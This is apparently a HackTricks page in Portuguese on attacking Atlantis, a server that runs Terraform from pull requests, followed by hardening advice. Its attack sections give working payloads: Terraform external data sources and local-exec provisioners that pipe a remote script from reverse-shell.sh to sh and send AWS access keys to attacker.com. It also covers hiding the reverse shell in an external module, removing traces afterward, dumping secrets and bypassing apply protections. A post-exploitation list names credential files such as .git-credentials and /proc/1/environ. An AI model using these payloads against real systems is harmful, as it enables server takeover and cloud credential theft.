Atlantis Security

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @hacktricks_live.
Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

Informações Básicas

O Atlantis basicamente ajuda você a executar o terraform a partir de Pull Requests do seu servidor git.

Laboratório Local

Acesse a página de lançamentos do atlantis em https://github.com/runatlantis/atlantis/releases e baixe o que mais lhe convier.
Crie um token pessoal (com acesso ao repositório) do seu usuário github
Execute ./atlantis testdrive e ele criará um repositório de demonstração que você pode usar para conversar com o atlantis
Você pode acessar a página da web em 127.0.0.1:4141

Acesso ao Atlantis

Credenciais do Servidor Git

O Atlantis suporta vários hosts git como Github, Gitlab, Bitbucket e Azure DevOps. No entanto, para acessar os repositórios nessas plataformas e realizar ações, ele precisa ter algum acesso privilegiado concedido a eles (pelo menos permissões de escrita). A documentação incentiva a criar um usuário nessas plataformas especificamente para o Atlantis, mas algumas pessoas podem usar contas pessoais.

De qualquer forma, do ponto de vista de um atacante, a conta do Atlantis será muito interessante para comprometer.

Webhooks

O Atlantis usa opcionalmente Segredos de Webhook para validar que os webhooks que recebe do seu host Git são legítimos.

Uma maneira de confirmar isso seria permitir que as solicitações venham apenas dos IPs do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook.

Observe que, a menos que você use um servidor github ou bitbucket privado, será necessário expor os endpoints de webhook para a Internet.

O Atlantis estará expondo webhooks para que o servidor git possa enviar informações a ele. Do ponto de vista de um atacante, seria interessante saber se você pode enviar mensagens a ele.

Credenciais do Provedor

Da documentação:

O Atlantis executa o Terraform simplesmente executando os comandos terraform plan e apply no servidor em que o Atlantis está hospedado. Assim como quando você executa o Terraform localmente, o Atlantis precisa de credenciais para o seu provedor específico.

Depende de você como você fornece credenciais para o seu provedor específico ao Atlantis:

O Chart do Atlantis Helm e o Módulo AWS Fargate têm seus próprios mecanismos para credenciais do provedor. Leia suas documentações.
Se você estiver executando o Atlantis em uma nuvem, muitas nuvens têm maneiras de fornecer acesso à API da nuvem para aplicativos em execução nelas, ex:
Funções EC2 da AWS (Procure por "Função EC2")
Contas de Serviço de Instância GCE
Muitos usuários definem variáveis de ambiente, ex. AWS_ACCESS_KEY, onde o Atlantis está em execução.
Outros criam os arquivos de configuração necessários, ex. ~/.aws/credentials, onde o Atlantis está em execução.
Use o Provedor HashiCorp Vault para obter credenciais do provedor.

O contêiner onde o Atlantis está em execução provavelmente conterá credenciais privilegiadas para os provedores (AWS, GCP, Github...) que o Atlantis está gerenciando via Terraform.

Página da Web

Por padrão, o Atlantis executará uma página da web na porta 4141 em localhost. Esta página apenas permite que você habilite/desabilite o apply do atlantis e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil).

Provavelmente você não a encontrará exposta na internet, mas parece que por padrão não são necessárias credenciais para acessá-la (e se forem, atlantis:atlantis são as padrão).

Configuração do Servidor

A configuração do atlantis server pode ser especificada via flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma combinação dos três.

Você pode encontrar aqui a lista de flags suportados pelo servidor Atlantis
Você pode encontrar aqui como transformar uma opção de configuração em uma variável de ambiente

Os valores são escolhidos nesta ordem:

Flags
Variáveis de Ambiente
Arquivo de Configuração

Observe que na configuração você pode encontrar valores interessantes como tokens e senhas.

Configuração dos Repositórios

Algumas configurações afetam como os repositórios são gerenciados. No entanto, é possível que cada repositório exija configurações diferentes, então existem maneiras de especificar cada repositório. Esta é a ordem de prioridade:

Arquivo /atlantis.yml. Este arquivo pode ser usado para especificar como o atlantis deve tratar o repositório. No entanto, por padrão, algumas chaves não podem ser especificadas aqui sem algumas flags permitindo isso.
Provavelmente é necessário permitir por flags como allowed_overrides ou allow_custom_workflows
Configuração do Lado do Servidor: Você pode passá-lo com a flag --repo-config e é um yaml configurando novas configurações para cada repositório (regexes suportados)
Valores Padrão

Proteções de PR

O Atlantis permite indicar se deseja que o PR seja aprovado por outra pessoa (mesmo que não esteja definido na proteção do branch) e/ou seja mesclável (proteções do branch aprovadas) antes de executar o apply. Do ponto de vista da segurança, é recomendado configurar ambas as opções.

No caso de allowed_overrides ser True, essas configurações podem ser sobrescritas em cada projeto pelo arquivo /atlantis.yml.

Scripts

A configuração do repositório pode especificar scripts para serem executados antes (ganchos pré-fluxo de trabalho) e depois (ganchos pós-fluxo de trabalho) de um fluxo de trabalho ser executado.

Não há opção para permitir especificar esses scripts no arquivo /atlantis.yml do repositório.

Fluxo de Trabalho

Na configuração do repositório (configuração do lado do servidor) você pode especificar um novo fluxo de trabalho padrão, ou criar novos fluxos de trabalho personalizados. Você também pode especificar quais repositórios podem acessar os novos gerados. Em seguida, você pode permitir que o arquivo atlantis.yaml de cada repositório especifique o fluxo de trabalho a ser usado.

Se a flag configuração do lado do servidor allow_custom_workflows estiver definida como True, os fluxos de trabalho podem ser especificados no arquivo atlantis.yaml de cada repositório. Também é potencialmente necessário que allowed_overrides especifique também workflow para sobrescrever o fluxo de trabalho que será usado. Isso basicamente dará RCE no servidor Atlantis para qualquer usuário que possa acessar esse repositório.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Verificação de Políticas Conftest

O Atlantis suporta a execução de políticas conftest do lado do servidor contra a saída do plano. Casos de uso comuns para usar esta etapa incluem:

Negar o uso de uma lista de módulos
Afirmar atributos de um recurso no momento da criação
Detectar exclusões de recursos não intencionais
Prevenir riscos de segurança (ou seja, expor portas seguras ao público)

Você pode verificar como configurá-lo na documentação.

Comandos do Atlantis

Na documentação você pode encontrar as opções que pode usar para executar o Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataques

Se durante a exploração você encontrar este erro: Error: Error acquiring the state lock

Você pode corrigi-lo executando:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Plano de RCE do Atlantis - Modificação de configuração em novo PR

Se você tem acesso de escrita sobre um repositório, você será capaz de criar um novo branch nele e gerar um PR. Se você pode executar atlantis plan (ou talvez seja executado automaticamente) você será capaz de RCE dentro do servidor Atlantis.

Você pode fazer isso fazendo o Atlantis carregar uma fonte de dados externa. Apenas coloque um payload como o seguinte no arquivo main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Ataque mais Furtivo

Você pode realizar este ataque de forma ainda mais furtiva, seguindo estas sugestões:

Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode carregar um recurso externo que contenha o rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Pode encontrar o código rev shell em https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

No recurso externo, use o recurso ref para ocultar o código rev shell do terraform em um branch dentro do repositório, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Em vez de criar um PR para o master para acionar o Atlantis, crie 2 branches (test1 e test2) e crie um PR de um para o outro. Quando tiver concluído o ataque, apenas remova o PR e os branches.

Atlantis plan Secrets Dump

Você pode dump secrets usados pelo terraform executando atlantis plan (terraform plan) colocando algo assim no arquivo terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis aplica RCE - Modificação de configuração em novo PR

Se você tem acesso de escrita sobre um repositório, você será capaz de criar um novo branch nele e gerar um PR. Se você pode executar atlantis apply, você será capaz de RCE dentro do servidor Atlantis.

No entanto, geralmente você precisará contornar algumas proteções:

Mergeable: Se essa proteção estiver configurada no Atlantis, você só pode executar atlantis apply se o PR for mergeable (o que significa que a proteção de branch precisa ser contornada).
Verifique possíveis bypasses de proteção de branch
Aprovado: Se essa proteção estiver configurada no Atlantis, algum outro usuário deve aprovar o PR antes de você poder executar atlantis apply
Por padrão, você pode abusar do token Gitbot para contornar essa proteção

Executando terraform apply em um arquivo Terraform malicioso com local-exec. Você só precisa garantir que algum payload como os seguintes termine no arquivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Siga as sugestões da técnica anterior para realizar esse ataque de uma maneira mais furtiva.

Injeção de Parâmetros no Terraform

Ao executar atlantis plan ou atlantis apply, o terraform é executado por baixo dos panos, você pode passar comandos para o terraform a partir do atlantis comentando algo como:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Algo que você pode passar são variáveis de ambiente que podem ser úteis para contornar algumas proteções. Verifique as variáveis de ambiente do Terraform em https://www.terraform.io/cli/config/environment-variables

Fluxo de Trabalho Personalizado

Executando comandos de compilação personalizados maliciosos especificados em um arquivo atlantis.yaml. Atlantis usa o arquivo atlantis.yaml do branch de solicitação de pull, não do master. Essa possibilidade foi mencionada em uma seção anterior:

Se a flag de configuração do lado do servidor server side config estiver definida como True, fluxos de trabalho podem ser especificados no arquivo atlantis.yaml de cada repositório. Também é potencialmente necessário que allowed_overrides especifique também workflow para sobrescrever o fluxo de trabalho que será usado.

Isso basicamente dará RCE no servidor Atlantis para qualquer usuário que possa acessar esse repositório.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Bypassar proteções de plano/aplicação

Se a flag de configuração do lado do servidor allowed_overrides tiver apply_requirements configurado, é possível para um repositório modificar as proteções de plano/aplicação para as bypassar.

repos:
- id: /.*/
apply_requirements: []

Sequestro de PR

Se alguém enviar atlantis plan/apply comentários em suas solicitações de pull válidas, fará com que o terraform seja executado quando você não quiser.

Além disso, se você não tiver configurado na proteção de branch para pedir para reevaluar cada PR quando um novo commit for enviado para ele, alguém poderia escrever configurações maliciosas (ver cenários anteriores) no arquivo de configuração do terraform, executar atlantis plan/apply e obter RCE.

Esta é a configuração nas proteções de branch do Github:

Segredo do Webhook

Se você conseguir roubar o segredo do webhook usado ou se não houver nenhum segredo de webhook sendo usado, você poderia chamar o webhook do Atlantis e invocar comandos do atlantis diretamente.

Bitbucket

O Bitbucket Cloud não suporta segredos de webhook. Isso poderia permitir que atacantes falsifiquem solicitações do Bitbucket. Certifique-se de permitir apenas IPs do Bitbucket.

Isso significa que um atacante poderia fazer solicitações falsas ao Atlantis que parecem estar vindo do Bitbucket.
Se você estiver especificando --repo-allowlist, então eles só poderiam falsificar solicitações relacionadas a esses repositórios, então o máximo de dano que poderiam causar seria planejar/aplicar em seus próprios repositórios.
Para evitar isso, permita os endereços IP do Bitbucket (veja os endereços IP IPv4 de saída).

Pós-Exploração

Se você conseguiu acessar o servidor ou pelo menos obteve um LFI, há algumas coisas interessantes que você deve tentar ler:

/home/atlantis/.git-credentials Contém credenciais de acesso ao VCS
/atlantis-data/atlantis.db Contém credenciais de acesso ao VCS com mais informações
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Arquivo de estado do Terraform
Exemplo: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Variáveis de ambiente
/proc/[2-20]/cmdline Linha de comando do atlantis server (pode conter dados sensíveis)

Mitigações

Não Use em Repositórios Públicos

Porque qualquer pessoa pode comentar em solicitações de pull públicas, mesmo com todas as mitigações de segurança disponíveis, ainda é perigoso executar o Atlantis em repositórios públicos sem a configuração adequada das configurações de segurança.

Não Use `--allow-fork-prs`

Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir --allow-fork-prs (padrão é falso) porque qualquer pessoa pode abrir uma solicitação de pull de seu fork para seu repositório.

`--repo-allowlist`

O Atlantis requer que você especifique uma lista de permissões de repositórios dos quais aceitará webhooks via a flag --repo-allowlist. Por exemplo:

Repositórios específicos: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Toda a sua organização: --repo-allowlist=github.com/runatlantis/*
Todos os repositórios em sua instalação do GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
Todos os repositórios: --repo-allowlist=*. Útil quando você está em uma rede protegida, mas perigoso sem também definir um segredo de webhook.

Esta flag garante que sua instalação do Atlantis não esteja sendo usada com repositórios que você não controla. Consulte atlantis server --help para mais detalhes.

Proteger o Planejamento do Terraform

Se atacantes enviando solicitações de pull com código Terraform malicioso estiver em seu modelo de ameaça, você deve estar ciente de que as aprovações de terraform apply não são suficientes. É possível executar código malicioso em um terraform plan usando a fonte de dados external ou especificando um provedor malicioso. Este código poderia então exfiltrar suas credenciais.

Para evitar isso, você poderia:

Incorporar provedores na imagem do Atlantis ou no host e negar a saída em produção.
Implementar o protocolo do registro de provedores internamente e negar a saída pública, dessa forma você controla quem tem acesso de gravação ao registro.
Modificar a configuração do repositório do lado do servidor para validar o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validações extras neste ponto, por exemplo, exigir um "joinha" na PR antes de permitir que o plan continue. Conftest poderia ser útil aqui.

Segredos do Webhook

O Atlantis deve ser executado com segredos de webhook definidos via as variáveis de ambiente $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Mesmo com a flag --repo-allowlist definida, sem um segredo de webhook, os atacantes poderiam fazer solicitações ao Atlantis se passando por um repositório que está na lista de permissões. Os segredos do webhook garantem que as solicitações do webhook realmente venham de seu provedor de VCS (GitHub ou GitLab).

Se você estiver usando o Azure DevOps, em vez de segredos de webhook, adicione um nome de usuário e senha básicos.

Autenticação Básica do Azure DevOps

O Azure DevOps suporta o envio de um cabeçalho de autenticação básica em todos os eventos de webhook. Isso requer o uso de um URL HTTPS para a localização do seu webhook.

SSL/HTTPS

Se você estiver usando segredos de webhook, mas seu tráfego é via HTTP, então os segredos de webhook poderiam ser roubados. Habilite SSL/HTTPS usando as flags --ssl-cert-file e --ssl-key-file.

Habilitar Autenticação no Servidor Web do Atlantis

É altamente recomendável habilitar a autenticação no serviço web. Ative o BasicAuth usando --web-basic-auth=true e configure um nome de usuário e uma senha usando as flags --web-username=seuNomeDeUsuário e --web-password=suaSenha.

Você também pode passar essas informações como variáveis de ambiente ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=seuNomeDeUsuário e ATLANTIS_WEB_PASSWORD=suaSenha.

Referências